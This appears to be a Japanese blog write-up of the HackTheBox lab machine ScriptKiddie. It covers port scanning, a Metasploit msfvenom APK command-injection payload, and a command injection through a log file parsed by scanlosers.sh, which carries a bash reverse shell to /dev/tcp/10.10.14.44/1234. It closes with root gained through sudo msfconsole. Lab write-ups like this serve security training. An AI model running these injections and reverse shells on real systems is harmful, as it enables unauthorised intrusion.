【HackTheBox】ScriptKiddie WriteUp
はじめに
今回はlinuxマシンのScriptKiddieをやっていきます。msfvenomに気が付かないといけないあたり少しCTFチックな感じがします。
Enumeration
nmapポートスキャン
ポートスキャンから始めていきます。
nmap -sC -sV scriptkiddie.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 01:57 EST
Nmap scan report for scriptkiddie.htb (10.129.95.150)
Host is up (0.19s latency).
Other addresses for scriptkiddie.htb (not scanned): 10.129.95.150
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c656bc2dfb99d627427a7b8a9d3252c (RSA)
| 256 b9a1785d3c1b25e03cef678d71d3a3ec (ECDSA)
|_ 256 8bcf4182c6acef9180377cc94511e843 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.17 seconds
httpがあります。
websiteの確認
nmap
127.0.0.1を試します。
このnmapのversionは7.80です。
payloads
結果が見づらいのでとりあえず後回しにします。
sploits
searchsploitのようです。
testと打ってみました。
venom it up
とあるのでmsfvenomも確認します。
apkとあるのでこれをpayloadsで試すのかもしれません。
metasploitでpayloadの作成
LHOSTとLPORTをセットしてexploitを開始します。
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
[-] Exploit failed: cmd/unix/python/meterpreter/reverse_tcp: All encoders failed to encode.
動きませんでした、meterpreter/reverse_tcpがだめみたいですね
show payloads
でペイロード一覧を表示し、38番を選択します。.
TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse
set payload 38
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
[+] msf.apk stored at /home/kali/.msf4/local/msf.apk
apkファイルが出来上がりました。
Foothold
shellの取得
Apkファイルはアンドロイド用なのでandroidを選択し、lhostには自分のipアドレスを入れます。
os: androld
lhost: 10.10.14.44
apk: さっき作ったファイル
kaliマシンにてリッスンします
nc -lnvp 1234
kidシェル
nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.44] from (UNKNOWN) [10.129.95.150] 41102
whoami
kid
フラッグを取ります。
Privilege escalation
enumeration
/html
app.pyというflaskファイルがあります。searchsploitの部分が気になりますね。
app.py
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
logを書き込むようです。
logの確認
実際にpythonでどのような形式のログが取れるのか確かめます。
Python 3.11.1 (main, Dec 31 2022, 10:23:59) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import datetime
>>> srcip = '10.10.14.44'
>>> print(f'[{datetime.datetime.now()}] {srcip}\n')
[2023-02-19 08:52:44.141615] 10.10.14.44
/logs
hackersにログがあるはずなのですがありません、消されているみたいです。
-rw-rw-r-- 1 kid pwn 0 Feb 19 12:33 hackers
pwnというユーザに移れそうです。
/pwn
pwnにはrecon fileとscanlosers.shがあります。
drwxrw---- 2 pwn pwn 4096 Feb 19 12:50 recon
-rwxrwxr-- 1 pwn pwn 250 Jan 28 2021 scanlosers.sh
reconは権限がありませんが、scanlosers.shは読むことができます。
scriptkiddie -> pwn
pwnへの移動を考えます。scanlosers.shファイルを見ます。
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
コマンドインジェクションが使えます。
command injection
nmapをしてそのあとに、/bin/bashあたりができればpwnとしてのshellが起動するはずです。
command injection test
まずはちゃんとログが書かれているのかをテストします。
echo "[2021-05-28 12:37:32.655374] 10.10.14.15" > hackers; cat hackers; echo sleep; sleep 1; cat hackers; echo done
次にコマンド部分が何をしているのかを確認します。
sh -c "" 部分はnmapを実行してその結果を書き込んでいるみたいですね。
cut -d' ' -f3-
はスペースで分かれている部分の3つ目からすべて表示します。
echo "x x x 127.0.0.1; ping -c 1 10.10.14.15 #" | cut -d' ' -f3-
の結果は
x 127.0.0.1; ping -c 1 10.10.14.15 #
となります。
実際に実行されるコードは
sh -c "nmap --top-ports 10 -oN recon/x 127.0.0.1; ping -c 1 10.10.14.15 #.nmap ${ip} 2>&1 >/dev/null" &
となります。 pingコマンド以降はコメントアウトされるので無視されます。
scriptkiddieマシンで以下を実行し、
echo "x x x 127.0.0.1; ping -c 1 10.10.14.15 #" > hackers
kaliマシンで以下のように待てば、pingの結果を受け取ることができます。
sudo tcpdump -i tun0 icmp
Reverse shell payload
実際にシェルを奪うペイロードはこの通りです。
echo "x x x 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.44/1234 0>&1' # ." > hackers
kaliで
nc -lvpn 1234
で待てばpwnが取れます。
pwn -> root
pwnからrootはとても簡単です。
sudo -l
pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
msfconsoleをroot権限で実行できます。
metasploit
sudo /opt/metasploit-framework-6.0.9/msfconsole
get shell
root権限で実行しているのでそのままbinbashします。
msf6 > /bin/bash
root flag
go to /root/root.txt
Discussion